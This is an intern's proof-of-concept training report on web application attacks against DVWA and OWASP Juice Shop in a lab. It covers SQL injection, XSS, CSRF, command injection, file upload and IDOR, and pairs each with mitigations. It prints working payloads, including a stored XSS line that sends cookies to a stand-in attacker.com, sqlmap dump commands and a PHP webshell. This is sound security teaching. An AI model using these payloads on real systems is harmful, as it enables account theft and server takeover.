

Web Application Exploits — POC Report

Intern Name: Ruby Kannaujiya

Intern ID: 309

Tool Name / Topic

Web Application Exploits — tools & platforms: DVWA (Damn Vulnerable Web App), OWASP Juice Shop, Burp Suite (Community), sqlmap, browser devtools, Nikto, OWASP ZAP.

History

Web application attacks have evolved with the web. OWASP and security communities created intentionally vulnerable apps (DVWA, Juice Shop) to teach common web vulnerabilities safely. Tools like Burp Suite and sqlmap automate detection and exploitation for training and authorized penetration testing.

Description

This Week covers common web vulnerabilities (SQL Injection, Cross-Site Scripting, CSRF, Command Injection, Insecure Direct Object Reference, File Upload flaws) and practical PoCs using DVWA/OWASP Juice Shop in a controlled lab. Emphasis is on ethical testing, repeatable lab steps, and remediation.

Legal / Ethical Note: Only test on applications you own or have explicit permission to test. Do not run attacks against live/production systems or systems you do not have authorization for.

What Is This Topic About?

- Identifying and exploiting common web vulnerabilities in a controlled environment.
- Using proxy tools to intercept and modify requests.
- Demonstrating PoCs and documenting payloads, responses, and remediation.

Key Characteristics / Features

- Hands-on practice in safe lab environments (DVWA, Juice Shop).
- Uses intercepting proxy (Burp) for request tampering.
- Automation tools (sqlmap) speed up SQLi testing.
- Demonstrates impact and remediation for each vulnerability.
- Emphasizes documentation and evidence capture.

Types / Modules / Vulnerabilities Covered

- **SQL Injection (SQLi)** — classic and blind SQLi.
- **Cross-Site Scripting (XSS)** — reflected, stored, DOM-based.
- **Cross-Site Request Forgery (CSRF)** — unauthorized state-changing requests.
- **Command Injection** — server-side command execution via input.
- **Insecure File Upload** — RCE via uploaded webshells.
- **Insecure Direct Object Reference (IDOR)** — unauthorized access to objects.
- **Authentication Flaws / Session Management** — cookie/session hijacking.

How Will This Help?

- Teach how attackers find and exploit vulnerabilities, enabling better defenses.
- Provide reproducible PoCs that can be shown to developers with fix recommendations.
- Train use of industry tools (Burp, sqlmap, ZAP) in a safe manner.



Detailed POC — Step-by-step (DVWA / Juice Shop lab)

Lab setup note: Use an isolated VM with DVWA or Juice Shop installed. DVWA default creds: admin / password (change as needed). Juice Shop can be run via Docker.

A. Lab Setup (DVWA)

1. Launch Kali/Ubuntu VM.
2. Install DVWA quickly via Metasploitable or docker:

Example using Docker

```
docker run --rm -it -p 80:80 vulnerables/web-dvwa
```

Access: <http://localhost/setup.php> -> create DB, then login at /login.php with admin/password

3. Set DVWA security level to **low** for initial learning (Settings → DVWA Security).

B. SQL Injection (SQLi) — PoC (Reflected / Error-based / Blind)

Objective: Bypass login / extract data.

1. **Reflected example:** DVWA SQLi page (SQL Injection -> Enter ' OR '1'='1 into input)
 - a. Input: ' OR '1'='1
 - b. Effect: Query becomes `SELECT * FROM users WHERE user=' ' OR '1'='1' AND ...` → returns true → bypass

2. Using sqlmap (automated):

Intercept the request with Burp, save request as req.txt

```
sqlmap -r req.txt --dbs --batch
```

To dump database:

```
sqlmap -r req.txt -D dvwa -T users --dump
```

3. Blind SQLi (time-based):

```
' OR IF(SUBSTRING((SELECT database()),1,1)='d',SLEEP(5),0) --
```

- Observe response delay to infer data.

Proof: Screenshots of SQLi input, Burp intercepted request, sqlmap output dumping users table.

Mitigation: Use parameterized queries / prepared statements, input validation, ORM frameworks, least privilege DB accounts, WAF.

C. Cross-Site Scripting (XSS) — PoC

Objective: Demonstrate reflected and stored XSS.

1. **Reflected XSS:** On DVWA Reflective XSS page, input:

```
<script>alert('XSS')</script>
```

- Result: Browser executes alert pop-up (screenshot).
2. **Stored XSS:** On comment fields in Juice Shop, inject:

```
<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>  
>
```

- Simulate capturing cookie on attacker server (lab only).

Mitigation: Encode output (HTML entity encode), use Content Security Policy (CSP), input sanitization, HTTPOnly cookies.

D. Cross-Site Request Forgery (CSRF) — PoC

Objective: Show unauthorized state changes via forged requests.

1. Identify an action that changes state (e.g., change password, transfer funds).
2. Host an HTML page (attacker) that auto-submits a POST to the vulnerable endpoint:

```
<form action="http://victim/dvwa/vulnerabilities/csrf/" method="POST">
  <input type="hidden" name="password_new" value="hacked"/>
  <input type="hidden" name="password_conf" value="hacked"/>
  <input type="hidden" name="Change" value="Change"/>
</form>
<script>document.forms[0].submit()</script>
```

3. If server lacks anti-CSRF tokens and relies on cookies, victim's browser will perform action.

Mitigation: Implement anti-CSRF tokens, SameSite cookies, require re-authentication for sensitive actions.

E. Command Injection — PoC

Objective: Inject OS commands via vulnerable parameter.

1. DVWA Command Injection page, input:

```
; uname -a
```

or

```
$(uname -a)
```

2. If application executes shell commands insecurely (e.g., `system("ping " + user_input)`), this returns command output.

Mitigation: Avoid shelling out with user input; use safe APIs, whitelist input, input validation.

F. File Upload & Webshell — PoC (Lab only)

Objective: Upload a webshell and execute it.

1. DVWA File Upload page. Try uploading `shell.php` (simple PHP webshell):

```
<?php echo shell_exec($_GET['cmd']); ?>
```

2. If server allows PHP upload and places file in web root, access
<http://target/uploads/shell.php?cmd=whoami> → shows `www-data` or `root`.

Mitigation: Restrict allowed file types and validate MIME types server-side, store uploads outside webroot, rename files, set strict permissions, scan uploads.

G. Insecure Direct Object Reference (IDOR) — PoC

Objective: Access another user's data by changing ID in URL.

1. URL: <http://dvwa/vulnerabilities/fi/?id=10>
2. Modify `id=10` → `id=9`, if no access control, you see another user's file.

Mitigation: Implement server-side authorization checks, never rely on obscurity, map IDs to access control lists.

H. Authentication & Session Management Weaknesses

PoC Examples:

- Weak password reset flow allows token prediction.
- Session fixation: attacker sets session id and forces victim to use it.

Mitigation: Use secure session cookies (`Secure`, `HttpOnly`, `SameSite`), regenerate session IDs after login, strong password reset tokens.

PoC Images (placeholders — add your screenshots)

- DVWA login page screenshot.

- Burp intercept showing SQLi request.
- sqlmap output dumping user table.
- Browser alert for XSS.
- HTML PoC for CSRF submission.
- Webshell response (whoami) screenshot.
- nmap/nikto scan of the web app (optional) screenshot.



15-Liner Summary

1. Use DVWA/Juice Shop for safe testing.
2. SQLi: test inputs, use parameterized queries to fix.
3. XSS: encode output, use CSP.
4. CSRF: use anti-CSRF tokens and SameSite cookies.
5. Command injection: avoid `system()` with user input.
6. File upload must be validated and stored safely.
7. IDOR: enforce server-side authorization.
8. Session security: use HttpOnly, Secure, SameSite.
9. Use Burp Suite to intercept and modify requests.
10. Use sqlmap for automated SQLi discovery.
11. Document every request and response.
12. Capture screenshots for reporting.
13. Test only authorized targets.
14. Prioritize fixes by impact (RCE > data leak > defacement).
15. Retest after remediation.



Time to Use / Best Case Scenarios

- During web app pentests in a lab or authorized engagement.
- Security code reviews and CI pipeline scans.
- Developer training on secure coding.
- Bug bounties (with permission and program rules).

When to Use During Investigation

- After suspected web compromise.
- When user reports malicious XSS or data leak.
- While validating reported vulnerabilities.
- During incident response to check web root and uploaded files.

Best Person to Use & Required Skills

User: Web App Penetration Tester / Developer / Security Engineer

Skills Required:

- HTTP, HTML, JavaScript knowledge.
- Familiarity with SQL and server-side programming.
- Using Burp Suite, sqlmap, browser devtools.
- Safe lab environment setup (Docker/VM).

Flaws / Suggestions to Improve

- PoCs can be noisy — use controlled tests and short windows.
- Automated tools may produce false positives — validate manually.
- Some vulnerabilities require chained exploits (complex).
- Web frameworks change rapidly; keep up to date with mitigations.

Good About This Topic (Why Learn It)

- Directly maps to real-world website attacks.
- Immediate impact demonstration (data exfiltration, RCE).
- Highly teachable with DVWA/Juice Shop.
- Produces evidence developers can act on.

- Strengthens secure coding practices.

Remediation / Hardening Checklist

- Use prepared statements/ORM for DB queries.
- Encode output and use CSP for XSS prevention.
- Implement anti-CSRF tokens and SameSite cookies.
- Validate and sanitize input; use whitelists.
- Secure file uploads: check MIME/type, store outside webroot.
- Implement strict access controls and authorization checks.
- Rotate credentials, enforce MFA for admin actions.
- Add WAF rules for common exploit patterns.
- Add automated security tests in CI/CD.